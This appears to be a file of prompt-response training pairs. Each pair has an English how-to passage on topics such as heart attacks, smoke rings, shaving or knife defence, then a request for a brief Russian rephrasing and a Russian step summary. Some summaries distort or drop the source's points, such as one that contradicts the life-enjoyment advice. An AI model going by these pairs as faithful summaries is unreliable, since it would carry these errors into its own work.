A heart attack is life-threatening and also can respond well to immediate and early treatment protocols. If you or a friend are in the ER with a potential heart attack you will receive immediate attention. An electrocardiogram is a test that measures the electrical activity of the heart. This will show the doctor how much muscle may be injured or if you are in the middle of having a heart attack. An injured muscle will not conduct electricity the way that an uninjured muscle will. The electrical activity from the heart is transmitted through electrodes placed on your chest and printed on paper for evaluation. When the heart muscle is injured during a heart attack there are specific chemicals released into the bloodstream. Troponin is one chemical that remains in the blood for up to two weeks - giving your doctor a reasonable method of diagnosing whether you recently had a heart attack which might have gone un-diagnosed. Your doctor may perform a cardiac catheterization to find out more information about the condition of your heart. During the procedure, a catheter is inserted into a blood vessel and into your heart. It is often inserted through an artery in the groin area, and is a relatively risk-free procedure. During a cardiac catheterization, your doctor may:  X-ray your heart using a contrast dye. This can help your doctor see if there are any narrow or blocked arteries. Check the pressure in the chambers of your heart. Take blood samples, which can be used to measure the oxygen content in your heart chambers. Perform a biopsy. Check your heart's ability to pump efficiently. In the weeks following a heart attack you may undergo a stress test to evaluate how the blood vessels in your heart respond to exercise. You’ll be on a treadmill and hooked up to an electrocardiogram machine which measures the electrical activity in the heart. This will help your doctor determine long-term treatment for your condition.

How would you rephrase that briefly using Russian?

Ожидайте, что вас направят в отделение неотложной помощи. Ожидайте, что вам сделают ЭКГ. Ожидайте, что вам сделают анализ крови. Будьте готовы к катетеризации сердца. Ожидайте стресс-тест после окончания сердечного приступа.


A hectic schedule is not an excuse to lead a humdrum life. Intentionally carve out time to have adventures and experience the joys of life. Start out small: set aside fifteen minutes to read a short story, try a new restaurant once a week, visit a museum on your lunch break, call your loved ones more frequently, or briefly turn off your phone when you spend time with family or friends. Gradually, you will build these short moments into your daily routine and create a more interesting life for yourself. Remember, you can ALWAYS make time in your schedule to have a good time. While grand parties and once-in-a-lifetime experiences make life more interesting, it is unrealistic to assume that you can only have fun during these unforgettable moments. Life is lived and experienced at tamer gatherings and daily events. Begin appreciating the little moments and elevate the mundane to the extraordinary. Planning an ideal event or figuring out how to lead an interesting life is extremely stressful. Instead of controlling every minute detail of your party or life, step back and allow things to unfold naturally. When you are present in the moment, you can enjoy yourself and appreciate the little things that make life so interesting. Stressing over what people think of you is a waste of time and energy. Fully embrace what makes you happy and unique. When you are comfortable with your identity, you will be able to lead an unapologetically happy and fascinating life. In order to have a memorable and enjoyable time, you do not need to spend a small fortune. If you surround yourself with people you enjoy or spend your time doing activities that make you happy, you can have fun almost anywhere.  Instead of dining at a 5-star restaurant, cook a gourmet meal at home with friends and family members. Rather than attending a broadway play, support your local theater group. Spend an afternoon outdoors instead of at the cinema.

How would you rephrase that briefly using Russian?

Начните выделять время, чтобы жить полной жизнью и получать удовольствие. Начните рассматривать все события в жизни как зрелищные мероприятия. Начните присутствовать в настоящем. Перестаньте переживать из-за мнения других людей. Перестаньте полагать, что веселые впечатления дорого стоят.


A hookah may give the best results, followed by a cigar or tobacco pipe. Don't use something too harsh or too hot. You'll need to be able to hold the smoke for at least five seconds without coughing or exhaling.  Skip ahead to the next section if you already know how to blow a smoke ring. Inhale for several seconds from the hookah or other smoking device. Open your mouth wide by lowering your jaw, so you gather more smoke in your mouth instead of just your lungs. Let go of the smoking device and move your mouth into an O shape. Your lips should make a round opening, but lower your jaw as well to make your mouth larger. If you're making a "kiss face" or "fish face," open your mouth wider to make a larger O.  You do not need to puff out your cheeks. Don't exhale or inhale during this step. The smoke should remain still as a dense cloud in your mouth. Close the back of your throat and open it again, making a tiny, inaudible cough or a "reverse hiccup." The small, controlled release of air can push a little smoke through the opening in your mouth. This moves through the narrow opening of your lips and flows into a ring shape. This is the easiest method for most people, but it often takes fifteen minutes of practice or more before you make your first ring, and a lot more practice before you can blow rings consistently. This method is usually more difficult, but might give you the ability to make larger, longer-lasting rings. Curl the tip of your tongue to the far back of your mouth. Flick your tongue forward in short bursts, scraping the top of your mouth or just beneath it, to push smoke quickly through the O opening of your lips. Place your hand on your throat as you do this. If you're using the right technique, your Adam's apple will move up as you flick your tongue. This method works best if you have a cheek dimple, or if you already know how to make a water drop sound by flicking your cheek. Form the O shape with your mouth as usual, but lower your jaw enough that your cheeks are stretched. Flick your cheek...

How would you rephrase that briefly using Russian?

Определитесь с источником густого дыма. Втяните в рот как можно больше дыма. Округлите рот в форме буквы О. Сделайте движение, как будто вы слегка кашляете. Вместо этого пробуйте выталкивать дым языком. Вместо этого можете щелкать щеками.


A hot shower with frequent face scrubbing will cleanse your pores more thoroughly than splashing water on your face a few times, but sometimes the snooze button wins that morning time struggle.  Use soap and warm water if you're washing your face. This will soften the hair and remove any grime or bacteria that clogs pores and leads to bumps. This also opens the pores and cleanses the skin (it has to be warm, though). Not only will you be working to eliminate the bumps, but you'll also get a closer, cleaner shave, too. A pre-shave oil is optional, but using some will add another layer of protection by moisturizing the skin and getting the hair to stand straighter off the skin. The straighter it is, the less likely it is to curl, grow in your skin, and form bumps. (This is why those with curly, coiled hair get razor bumps more commonly.) Oddly enough, you can find pre-shave oils at health food stores. But don't eat it. It's made of silicone and is just used to cut down on friction and soften your hairs. The thicker, the better. Never shave dry! Some men find lathering up easier to do with a shaving brush. Reapply for every additional pass of the razor. Choosing shaving cream is usually a matter of personal taste. However, the better creams on the market are glycerin-based and contain these ingredients: aqua, stearic acid, myristic acid, coconut acid, sodium and potassium hydroxides, and triethanolamine. It's best to avoid benzocaine and menthol, as those are both rather pore-clogging. A dull or dirty blade will cut your skin more often than a sharp one will. Replace your blade frequently, especially if you shave often. Cleaning the blade and removing any hair will extend the life of the blade. A blade with rust should be discarded immediately. You can extend the life of your razor by taking good care of it. Wash out any hair trapped in the blades, but don't leave it wet -- the water will wear down the blades. That is, in the direction your hair grows. You may think shaving up or against the grain gives you a...

How would you rephrase that briefly using Russian?

Примите горячий душ или просто умойтесь теплой водой. Заранее нанесите на кожу масло для бритья. Нанесите на кожу гель для бритья и разотрите его до появления густой пены над волосками. Всегда пользуйтесь чистым острым лезвием. Движения бритвы должны быть направлены по направлению роста волос. Ухаживайте за кисточкой, которой наносите гель для бритья. Смойте гель или пену для бритья холодной водой. Можно приложить к выбритой области квасцовый камень от порезов Alum block. Нанесите на кожу лосьон после бритья, или распылите специальный лосьон или бальзам.


A hot water bottle is very popular when it comes to alleviating cramps caused by your menstrual cycle. Heat can help block pain messages sent to the brain, by turning on the heat receptors in the affected area. These receptors prevent chemical messengers that cause pain to be detected in the body. So, if you are experiencing painful cramps, fill up a water bottle and place it on your lower abdominal area for thirty minutes or so. If you are experiencing back pain, or other aches in your joints or muscles, a hot water bottle can often help ease those tensions. Similarly to easing your cramps, heat on your affected areas inhibits pain messages from reaching the brain. It also helps stimulate blood flow, which brings healing nutrients to your achy areas. Often times a combination of cold and hot treatment can ease pain in your muscles as well. The contrast of the cold treatment and hot treatment causes stimulation and strong sensations without much movement, which is beneficial in easing pain. You can use just a hot water bottle, or you can alternate between placing an ice pack on your pain for a few minutes and then a hot water bottle. Heat can help relieve pain and muscle tension that may be causing your headache. Place a hot water bottle on your forehead, temples, or neck. Try out a few places to see which relieves the most tension and leave the heat source there for 20 to 30 minutes or until pain begins to subside. On those cold winter nights a hot water bottle can be just the trick to keep your feet or body warm. Place the hot water bottle at the end of your bed near your feet, or under your blankets near where you will lie so that your bedding warms up. Hot water bottles are also great if you are sick and experiencing frequent temperature changes in your body.

How would you rephrase that briefly using Russian?

Облегчение менструальных спазмов. Снятие болей в спине и других местах. Снятие головной боли. Согревание постели.


A huge part of what keeps people stuck in the victim mentality is the secondary gains they receive from having this outlook. Complaining, self-loathing, and comparing can all grant the person with affection, attention, or offers of help from others. This person may not even be consciously aware of their desire for sympathy, but it’s feeding and reinforcing the behavior.  To cope with a victim in your life, you must learn to starve them. Simply stop rewarding this person with the benefits of this miserable attitude. Perhaps you used to dedicate hours showing concern to a relentlessly complaining friend. Rather you should be clear and succinct that you will not play into the behavior. You could say “I’m sorry to hear that…” and promptly change the subject. Or, you could challenge the person to take action by asking “So, what are you going to do about it?” Just because a friend or family member isn't taking responsibility for his or her own actions, that does not give you reason to shoulder that responsibility. You cannot “fix” this person or resolve their issues for them. Chances are, you may be attracted to several victims in your life, especially if you like giving advice or resolving other people’s problems. Know that this savior complex is unhealthy for both you and the other person. Seek professional counseling to get to the bottom of your unhealthy need to enable others. . When it comes to befriending a victim, your entire life may end up revolving around this other person. In order to help your loved one as best you can, you need to set boundaries to what behavior is acceptable and unacceptable.  Learn how to say “no” when the other person’s requests or interruptions are too disruptive to your life. Be clear about when they can and cannot reach out to you (e.g. refrain from contacting you at work, at school, or late at night).

How would you rephrase that briefly using Russian?

Не проявляйте желанное внимание или сочувствие. Вы не обязаны решать чужие проблемы.  Установите четкие границы


A humidifier adds moisture back into the air, and this may help to reduce dryness in your skin. Keeping a humidifier running while you’re home may help to lock more moisture in your skin and reduce dryness. Try running a humidifier in your bedroom at night to promote a moister environment. You can also run your humidifier during the daytime if you’ll be home for a few hours. Place it in whatever room you are in and switch it on. Long showers and baths may be relaxing, but they can make dry skin worse. Time yourself and try to keep your showers and baths between 5 and 10 minutes to reduce their drying effects. If you’re cold, put on warm clothing and wrap yourself in a blanket to keep warm. Don’t sit directly in front of a fireplace, space heater, or heating duct as this may dry out your skin even more. On extra cold nights, try using an electric blanket to stay warm. If you don’t have one, toss a blanket into the dryer for 5 to 10 minutes to warm it up and then wrap yourself up in it.

How would you rephrase that briefly using Russian?

Включайте увлажнитель воздуха, когда находитесь дома. Не принимайте душ или ванну дольше 10 минут. Не сидите прямо перед источниками тепла, чтобы согреться.


A jockstrap is recommended for any sport that requires running, such as track and field or basketball.For contact sports or sports involving fast-moving balls, a cup is also recommended. You will want to consider waist size and pouch comfort. The jockstrap should be tight enough to lift and hold the penis and testicles close to the body, out of the way during movement. but not too tight, as chafing can contribute to jock itch. A cup is a hard molded piece of plastic or metal that fits inside of a pouch in the jock strap. They are recommended for any sport involving contact or speeding projectiles, such as hockey, soccer, baseball, football, or mixed martial arts. Some men wear a cup-jockstrap in daily wear, not just when playing sports, to augment their masculine appearance. Many athletes are reluctant to wear cups, particularly in football, but consider that more than half of all testicular injuries occur during sports and  testicular torsion and testicular rupture can lead to losing a testicle. Many cups are sport specific, so you’ll need to know the sport you are going to use it for. You will want to consider both comfort and the degree of protection the cup offers.  For a cup to work, it must fit tightly against the body. You will want to make sure your jockstrap is tight enough to prevent the cup from rolling or twisting. Look for cups with cushioned edges. A hard edge will just transfer the force of the blow to the pelvic area. A soft edge provides better cushioning during impact.  For really fast moving sports like lacrosse or baseball, consider a titanium cup. Compression shorts offer similar support as a jockstrap, and some compression shorts come with a pouch designed to hold a protective cup, but many compression shorts that have a pouch do not hold the cup tight against the body. It is better to wear a cup in a cup-jockstrap and then wear tight fitting compression shorts over the cup-jockstrap to hold the cup firmly in place and tight against the body. In many sports such as football, compression...

How would you rephrase that briefly using Russian?

Носите суспензорий для удобства и защиты во время занятий спортом. Убедитесь, что суспензорий подходит вам по размеру. Решите, будете ли вы носить чашку. Выберите чашку. Подумайте о том, чтобы носить компрессионные шорты, если считаете суспензорий слишком неудобным.


A journal entry doesn’t need to be as organized as an essay, even if it’s for school. However, it should be possible to follow your train of thought. Use complete sentences to express your thoughts, and start a new paragraph when you switch to a new idea.  If you’re telling a story, try to follow a narrative structure to give it a beginning, middle, and end. Read over your journal entry before your submit it to check that it makes sense. Check your assignment sheet to find out if your instructor requires journal entries to be a certain length. If they do, make sure you reach the correct word count so you get full credit. Use the word count tool on your word processor or count your words if you hand wrote your entry.  For handwritten journals, your instructor may require that you simply fill up a page. Make sure you know the exact requirements so you can do your assignment correctly. If you’re struggling to think of something to write, make a mind map about the topic to help you brainstorm some new ideas. Always follow grammar rules when you’re writing a journal for school. Use proper capitalization, punctuation, and sentence structure throughout your journal entry. Otherwise, you may lose credit. If you’re struggling with your grammar, visit your school’s writing center or ask your instructor about tutoring options. Additionally, you can find online programs that help you with grammar. Since your journal is part of a school assignment, it needs to be free of errors. Read over your journal entry at least twice to check it for errors. Then, make any necessary corrections.  This is especially important if you’re keeping your journal as a graded assignment. If you’re typing your journal entries in an online portal, there may be a spellcheck tool you can use. However, you should still proofread the entry to look for other errors.

How would you rephrase that briefly using Russian?

Организуйте свои мысли, чтобы сделать их последовательными. Убедитесь, что вы достигли необходимого количества слов. Используйте правильную грамматику, как будто пишете эссе. Перечитайте запись в дневнике и исправьте все ошибки.


A jump serve is the most advanced of all the serves, and should only be done when you are sure of your ability to successfully perform the other three. If you are playing on a court, a jump serve must be performed from outside the line, although you can land inside after having jumped. Place your feet shoulder width apart with the leg on your non-hitting side placed forward slightly.  You will be taking a few steps forward, so be sure that your stance is comfortable for doing so. Hold the ball in your shelf hand, and prepare to draw your hitting arm back for the swing. Take two steps forward, beginning with your left foot.  Don’t take steps that are too wide, as they will throw you off balance when you go to hit. To practice you can take these steps slowly, but in a game you will want to take these steps in quick succession. At the beginning of your third step forward, throw the ball into the air 12–18 inches (30.5–45.7 cm) high with your shelf hand.  Throw the ball straight in front of you, not off to the side, to improve your chances of hitting the center and getting a better serve. Be sure to toss the ball slightly forward, not directly above you. This is because you will be moving forward with your jump, and don’t want to have to reach back to make the hit. You want the jump to be as powerful as possible, to add momentum to your hit.  Bring your arm up and back, with your elbow just above your ear. Use your momentum to push your body forward in time with your hit; you want the ball to be around eye-level before you make your swing. You can choose either a float serve or a topspin serve to hit, using the same techniques for both except for in the air.  For the floating serve, bring your arm back and push forward with an open palm, like a punch. You may have a little follow-through with this because of your jump. To do a jumping topspin serve, hit the ball downwards flicking your wrist in the process. You will have a lot of follow-through with this because of the jump.

How would you rephrase that briefly using Russian?

Убедитесь, что вы готовы подавать. Отойдите от линии на достаточное расстояние. Займите стартовую позицию. Сделайте несколько шагов вперед. Подбросьте мяч. Одновременно отводя руку назад, выпрыгните вперед и вверх. Ударьте по мячу.


A kitchen sink is an ideal spot to wash your cat because it is a good height to work at without straining your back. It also has surfaces to either side on which to put your supplies. Place a dry towel over the drain.  Fill the sink with 6 to 10 inches (15.2 to 25.4 cm) of warm water. The temperature should feel pleasantly warm when you dip your elbow in. Make sure the room is also warm so your cat doesn’t get cold when it gets out of the bath. Getting all your supplies together will make giving your cat a bath much easier, particularly if you have a fussy cat who doesn't enjoy bath time. The supplies you will need include:  A plastic jug to pour water. A hose attachment for the faucets. Cat shampoo. Nail clippers. Several dry towels. Hairdryer (optional). Brush. Cotton balls. It is a good idea to cut your cat’s claws before your commence bath time. Not only might you forget to do this later, but if she does panic during the bath you are less likely to get scratched. Use cat claw nail clippers, which can be purchased at your local pet store. To extend your cat’s nails: Place your cat on your knee, or on a work surface at a comfortable working height. Lift a paw. To extend a retracted claw, simply press gently on the last joint of the toe – this has the effect of extending the nail. It is easiest to trim clear nails because you can see the living part of the quick (nail) through the translucent keratin. Clip away the sharp hook only; doing this will leave the chunky, triangular part of the nail still attached to the toe. Do not attempt to trim back as far as the toe or you will cut into the sensitive tissue of the quick that contains nerves and blood vessels. Trim each nail in turn. Most cats have five toes on each front paw and four toes on each back foot.

How would you rephrase that briefly using Russian?

Подготовьте место у раковины. Соберите все предметы для купания, что необходимы. Вытяните когти кошки, тогда их легче срезать. Не обрезайте когти слишком сильно.


A knife is effective at close distances. Specifically, at punching range, clinching distance, and to a lesser degree, in a grappling situation. The non dominant foot should be firmly planted forward with the dominant foot resting on it's ball slightly behind and slightly outward. The torso should be rotated to face the opponent. Hands should be up in front of the face with elbows tucked in. Keep your fingers curled, but not in fists. This will allow you to either grasp, palm strike, elbow strike, or punch. The best way to avoid a knife attack is to create distance. Thus, a low kick to the knee, groin, or stomach is a very effective way to counterattack while minimizing risk.  To counter a stomach to chest-level thrust, deflect the arm towards the opponent's line of symmetry; This will help expose his back. You can then reach over the arm and pull back while simultaneously reaching around the neck with the other arm. You must then step backwards at once to prevent your opponent from throwing you. Kick the back of the knees, step on his ankles and kick his heels to help bring him down. Alternatively, you may apply a choke hold.    A more advanced technique for the above scenario is the following; After deflecting the arm, let your hand slide down his forearm and smoothly grab his wrist. By placing a thumb on his inner writs and your four fingers on the back of his hand, bend his wrist inward while applying pressure to his triceps right above the elbow. You are now positioned behind your opponent. These actions will stiffen his arm and hyper-flex his wrist. Place his wrist right below your hip, step forward such that your foot is placed before his, and then push on his triceps while pinning his arm against your wrist. He will fall and you now have two choices. You can take his knife by holding his arm up and pushing the blade with a flat palm towards the point at which his fingers touch his palm. The safer alternative is to get on the ground and position yourself sideways with both legs over his torso such that...

How would you rephrase that briefly using Russian?

Примите правильную боевую стойку. Сохраняйте дистанцию.


A laundry list of worries can lead to constant review of negatives that bog you down. Having a plan of attack can limit your unnecessary worry and assist in managing these feelings. Identify problems specific to you and think about how you will respond to them.  Writing out a plan of action can give you clarity and a sense of concreteness.  Setting a homework or study schedule can save you from forgetting to turn in assignments. Big-picture mentality can help you associate basic principles with more complex concepts. This can be especially helpful with cumulative exams. Mind maps and diagrams are useful tools for bundling complex or detail-heavy subjects. Even if you can't choose your teacher or schedule, knowing what's in store can help you plan accordingly. Some teachers aren't suited for certain learning styles or personalities. Inquire with friends, upper classmen, and search online to discover whether or not a particular teacher is a good fit for you and, if not, how you might improve the situation.  Make use of habits that engage your learning style. For example, during lectures, hands-on learners can benefit from chewing gum. Talking with instructors the first day of class is a good way of establishing a relationship with them. This can be useful if you have difficulty with the subject down the road.

How would you rephrase that briefly using Russian?

Составьте план. Определите цель курса. Соберите информацию об учителях.


A life plan is a formal, written plan you can use to plan out areas of your life including career, where you live, who you associate with, and how you spend your time. Writing out a life plan can help you identify areas of your life that you would like to change or to meet certain goals.  A life plan may help you see your life in a different way. Seeing aspects of it on paper may help you prioritize and readjust your ideas. Putting a life plan down on paper may also help you see similar goals and desires you have, or adjust your plan based on things that don’t fit. Having a life plan doesn’t mean you will change all aspects of your life right away, but it is a starting point to begin the process. Maybe there are areas of your life in which you are satisfied, such as where you live, but other areas in which you’d liked to grow, such as finding a more fulfilling career. There may be several areas of your life you’d like to have a plan for, but to start, try picking the one part that is the most important.  Decide on which area of your life you’ll start with, like career, social group, hobbies, or something else. Some examples of life areas you could change include job, education, or income and financial planning; attitude, life perspective, creative, or leisure goals; family and friends; planning for children, securing social support, or volunteering for a meaningful cause; or physical and health goals.  Ask yourself what good things will come from changing this part of your life to become clear on why you are choosing to change. Ask yourself which part of changing will be most difficult for you. Once you know what will be hardest, you can prepare yourself for when you meet that challenge. For example, for some people the most difficult part of change is starting. If you already know this about yourself, you can get support from others to help you begin. Having a support system, or people who can help when you need it, is important when attempting any life change. Part of planning a change is knowing exactly...

How would you rephrase that briefly using Russian?

Запишите свой план на жизнь. Решите, какие сферы своей жизни вы бы хотели изменить. Найдите необходимую информацию и заручитесь поддержкой. Подумайте, какими ресурсами обладаете и спланируйте все пошагово. Смиритесь с тем, что иногда ваша жизнь будет отклоняться от того жизненного плана, который вы наметили.


A lip scrub will help buff away dead skin cells and make your lips appear smoother and plumper. It will make applying the lip stain a lot easier. If you don't have a lip scrub at home, or don't have time to run out and buy one, you can make your own by combining 1 part honey, 1 part sugar (white or brown), and 1 part oil (almond, coconut, jojoba, or olive) in a small dish. You should only use lip scrub occasionally and as needed. It's great for sloughing off dead, peeling skin, but it can also damage the delicate tissue on your lips if you overuse it. Take a soft towel, and gently pat your lips dry with it. You are now ready to start applying your lip stain.

How would you rephrase that briefly using Russian?

Найдите скраб для губ. Насухо промокните губы.


A little heavy make-up or concealer can be pretty effective for covering up a hickey. Just make sure you get a color that matches your skin tone, and to blend it in.  Stage make up is extra thick and heavy, so you may resort to that if you're trying to conceal a real whopper. A scarf is your best friend when attempting to conceal a hickey on your neck, as a scarf is a fashionable item which no one will question you wearing (unless it's 100 degrees outside). Wrap the scarf strategically around your neck, and make sure to check it in a mirror from time to time to make sure the material hasn't moved, leaving your hickey exposed. Other options for covering a neck hickey include wearing a turtleneck (again, when weather conditions allow) or wearing your hair down, if it's long enough. A band aid will effectively cover up a hickey and give it time to heal away from the prying eyes of the world. Arnica cream is said to speed up the healing of bruises, so it may also be effective for clearing up hickeys. There are numerous other home remedies that supposedly help to speed up healing, such as applying an ice pack, rubbing the hickey with a comb, scraping the hickey with a coin and covering the hickey with toothpaste. All of these methods, and more, are outlined in the article How to Remove a Hickey.

How would you rephrase that briefly using Russian?

Используйте тональный крем. Наденьте шарф. Спрячьте засос под пластырем. Ускорьте процесс заживления.


A little knowledge can go a long way. If you have time before embarking on a trip or meeting with someone from another culture, try to take time to learn the basic “do’s and dont’s” of that culture. You can find information on this from internet sources such as those provided by the National Center for Cultural Competence. Different cultures will speak at different volumes, be more or less direct in showing emotion, may or may not expect to engage in “small talk,” and exhibit other dissimilarities in communication. When communicating with people from other cultures, be prepared to encounter such differences, including ones that you were not aware of. When communicating with a different culture, there may be unwritten rules about social hierarchy that you are not used to. For instance, you may come from a culture where men and women are expected to communicate equally with each other but may have to interact with someone from a culture where men may do more talking in mixed company. Similarly, you may be communicating with someone who expects that a younger person should let an older person do most of the talking, while you expect people across age groups to communicate equally. If you could not understand someone or think that he or she did not understand you, say something about it. Avoid being rude or offensive, but patiently explain the problem. It’s usually better to be upfront than to let a problem in communication go undressed, since there may otherwise be bigger problems later.  If you think you did not understand what someone meant, try saying something like: “I’m not sure I understood you. Could we go over that again?” If you think that someone did not understand you, try saying something like: “Let’s review things to make sure we’re all on the same page.” You can also make sure to let the person know to ask questions. Each culture has its own set of dominant values, beliefs, and prejudices. Signs of these may emerge when communicating with people from other cultures. Basic communication, however, it...

How would you rephrase that briefly using Russian?

Изучите больше информации о культуре заранее. Будьте готовы к различиям. Разберитесь в иерархии. Будьте открыты к трудностям в общении. Проявляйте уважение и толерантность. Проявляйте терпение.


A lobe is a separate section of the leaf that radiates off the central point, kind of like the fingers on your hand. Most sycamore leaves will have five large lobes, each with its own distinct vein running along it.  Some sycamore leaves may only have three lobes, but five is more common. From the tip of one lobe to the to the tip of the one across from it, sycamore leaves are often well over 4 inches (10 centimeters) wide. Sycamores have alternate leaves, which means a single leaf attaches to the stem in one spot, and the leaves alternate from side to side as you move along the stem. This is opposed to two leaves attaching at the same location on a stem, which is referred to as having opposite leaves. The leaves will have many rounded “teeth” along the edges and will look slightly serrated. In spring and summer, the leaves will be dark green. Then in the autumn they turn yellow before falling off for the winter.

How would you rephrase that briefly using Russian?

Сосчитайте лопасти листьев. Посмотрите на то, как расположены листья. Обратите внимание на края листьев. Посмотрите на цвет листьев.


A lot of teenagers struggle with acne, which can definitely give away your age. Help prevent pimples by washing your face twice a day with a gentle cleanser. Use a light moisturizer after you wash your face to keep your skin hydrated. You should also try to avoid touching your face throughout the day. A cut that’s at or above your shoulders will often make you look older than having long hair. However, no matter what hairstyle you choose, you should get regular trims so your style looks fresh. The more polished you look, the more mature you will appear. Take the time to style your hair in the mornings. Comb your hair so it’s free from tangles, and style it into a low side-braid or part it to the side and wear it down. It might seem like the more makeup you wear, the older you will look, but the opposite is actually true. Young girls usually wear heavy makeup, while adults typically choose a more subtle style that draws emphasis to one area of the face.  Wear subtle smoky eye makeup to emphasize your eyes.  Wear a bold shade of lipstick to accentuate your mouth.  Don’t wear a lot of shimmery or glittery makeup. This is a small change that can make a big difference. Groomed eyebrows that suit the shape of your face will make you look more like a woman. Get your eyebrows shaped up in a salon or learn how to pluck them yourself. You can grow your nails out or you can choose to wear them short, but you should always keep your fingernails clean and neat. Use a nail file to remove any rough or uneven edges. Choose a subtle, refined scent instead of a perfume that’s very flowery or sweet-smelling. A bottle of perfume usually lasts a long time, so don’t be afraid to invest in a quality fragrance if you find one you like.

How would you rephrase that briefly using Russian?

Ухаживайте за кожей. Измените прическу. Подчеркивайте косметикой одну деталь вашего лица. Ухаживайте за бровями. Следите за ногтями. Умеренно используйте парфюмерию.


A lot of the time, the computer serves as our primary form of relaxation. If you've fallen into a rut in regards to your recreational activities, try to take up some new hobbies to combat excessive internet use.  If you want something you can do at home after work, invest in crossword puzzles, sudoku, board games, and cards. If you live with a roommate, family, or a significant other propose a weekly game night. Declare internet free days or time frames and use that time to engage in other activities. Oftentimes, getting out into nature can help curb internet usage. Try going for hikes on weekends or brisk jogs after work. If you're the type who does a lot of reading online, consider buying physical books and subscribing to magazines related to your interests. Nightly reading can help you get away from the computer. A high amount of internet usage is sometimes associated with pre-existing conditions like depression and anxiety. Or you might be suffering from internet or computer addiction itself.  Know the symptoms of psychiatric disorders. Do you have a persistent sad, empty, or numb mood? Do you experience feelings of guilt or worthlessness? Do you have trouble making decisions and meeting deadlines because of these feelings? Have you had physical side effects, like weight lose or gain, insomnia, headaches, and digestive issues?  Do you use the internet or computer to avoid or combat these feelings? Do you experience feelings of euphoria when going online that temporarily alleviate negative moods?  You can find a psychiatrist by visiting your insurance provider's website and seeing where you plan is accepted. If you're a student, you can usually get free counseling through your university. Be patient. It can take awhile to find the right counselor and you're uncomfortable with one therapist you can ask for a referral to another therapist in your area. If you use the internet to encourage an active social life, you'll end up spending less time in front of the screen. Use your computer to your advantage. Make...

How would you rephrase that briefly using Russian?

Найдите себе хобби. Обратитесь за психиатрической помощью. Используйте интернет для того, чтобы улучшить свою реальную жизнь.


A lot of the time, there's nothing wrong with you or how you study or learn: your brain just can't hold the information because your body isn't getting something that it needs. Often, that need is more sleep. You'll want to be sure to get plenty of sleep if you want your brain to be alert enough to absorb information. Just drinking an extra cup of coffee isn't going to work. This means you'll want to stop doing those late night study sessions. Instead, go to bed early, get a few hours of sleep, and then get up early so that you can study more on a well-rested brain.  Studies have actually revealed that while we sleep, the brain is flushed with a fluid that cleans it of toxins. When we don't get enough sleep, our brains are so overloaded with junk that it becomes difficult for the brain to function correctly. How much is enough sleep really depends on you and how your body works. Seven to eight hours is what is recommended for most adults, but some people need less and some people need more. You should be able to feel awake and alert through most of the day, without the aid of coffee. If you're tired before four or five in the afternoon, then you're probably not getting enough sleep (or you might be getting too much). When you're hungry, your brain will have a really hard time absorbing any information. It's hard to focus when all your body can tell you is that your stomach is empty. Make sure that you get enough food for all of the major meals. You might even want to choose something healthy to snack on while you study as well as during any classes or tests you might have to take. It's also a good idea to make sure that you're eating healthy foods. Junk food doesn't give your body the nutrients it needs to perform at its best. Snack on some almonds or a couple of carrots in order to feel alert and focused, instead of bloated and tired. Your body is at its best when it's well hydrated. When you don't get enough water, you won't be able to focus. You can easily become distracted, whether you realize it or not,...

How would you rephrase that briefly using Russian?

Здоровый сон. Правильное питание. Необходимое количество жидкости. Физические нагрузки. Научите свой мозг учиться.


A lot of things that are considered too rude to be said are often communicated using eyes. In fact, some of our emotions are written in the size of our pupils, something humans can't control.  If someone is frustrated by having to talk to you, you can often find out by watching their eyes.  Looking up and to the right is a sign of boredom. Pupils dilate (get bigger) when a person is interested, and will often decrease in size when someone becomes bored.  Avoiding eye contact probably means they’re hiding something from you, that they don’t trust you, or are scared of you. Any extreme emotion can be a sign that something is wrong with your relationship. However, you should pay attention to extremes as compared to how this person usually behaves, not what you consider normal for yourself or your friends. Pay attention to:  Tension and stiffness, especially in the shoulders Boredom and disinterest Being over the top or melodramatic The tone of their voice How quickly or slowly they respond People behave differently depending on how they feel about what they are saying or doing, and there are many subtle (and often subconscious) cues that can help differentiate how people feel about something they’re unwilling to discuss or will lie about. The basic idea of a polygraph test, also known as a lie detector, is in finding the tiny differences in how someone responds when they’re telling the truth as compared to when they’re lying.  Even if you can't use a machine to monitor the differences in someone's behavior, some easy cues that can help you tell if they hate you are:  Anything that might suggest that they are lying or trying to mislead you. Look out for any sign of them trying to hide an emotion, as people often get emotional when they lie, and try to hide it.  How this person communicates with you vs. how they communicate with other people. How they act when you’re talking about something they need to pay attention to (for example work, if they are a co-worker) and when you bring up things that they don’t need...

How would you rephrase that briefly using Russian?

Обратите внимание на глаза человека. Обратите внимание на крайности в поведении. Следите за различиями. Не путайте ненависть с другими эмоциями. Обратите внимание, насколько он перед вами открыт.


A lot of times when we don't know what to wear or how to put together an outfit it means that it is time to organize our closet. Organizing means it will be easier to locate the clothes you want for the outfits you'll be putting together and it will remind you what you own in way of clothing.  Get rid of anything you almost never wear. There is no point in keeping around something you wear only once or twice. Make space for the items you will wear. Make a rule for yourself: every 6 months clean out your wardrobe. The stuff you just can't throw away, put in storage and if in the next 6 months you haven't looked for it, to charity or friends it has to go. When you're organizing you want to make sure that you will have easy access to your clothes. An easy way of organizing them is by item, so all the t-shirts together, all the sweaters together, all the dresses together, and so on. It makes it easier to find them when you know where the items of clothing will be. And if you organize them by color it's a win-win situation for you. You'll need a few basic tops that are the foundation of your wardrobe. These tops should be versatile and trend-proof. It's best for your basic wardrobe components to be in neutral colors like black, navy blue, white, and ivory so that you can mix and match them easily. The best is to stick to more classical designs than to follow every season trend. Get a scarf or some jewelry that represents the season. Accessories can be an easy and cheap way to make the same outfit look different every day of the week.   Casual tops: these are tops like short and long sleeve t-shirts, camisoles and tank tops (which are particularly good for under sweaters). Invest in good quality and simple colors. A few dressy blouses. Blouses can be worn under blazers, or button-down cardigans. They can give a good bit of class to an outfit. Wear them with jeans, with a skirt and boots, or with jewelry. You'll want to add some sweaters, button-down cardigans, or pullovers in neutral colors to wear with your casual...

How would you rephrase that briefly using Russian?

Наведите порядок в вашем шкафу. Убедитесь, что в вашем гардеробе есть основные предметы одежды на верхнюю часть. Убедитесь, что в вашем гардеробе есть основные предметы одежды на нижнюю часть. Соберите аксессуары. Купите универсальную обувь. Найдите какие-то предметы, которые будут вас выделять из толпы.


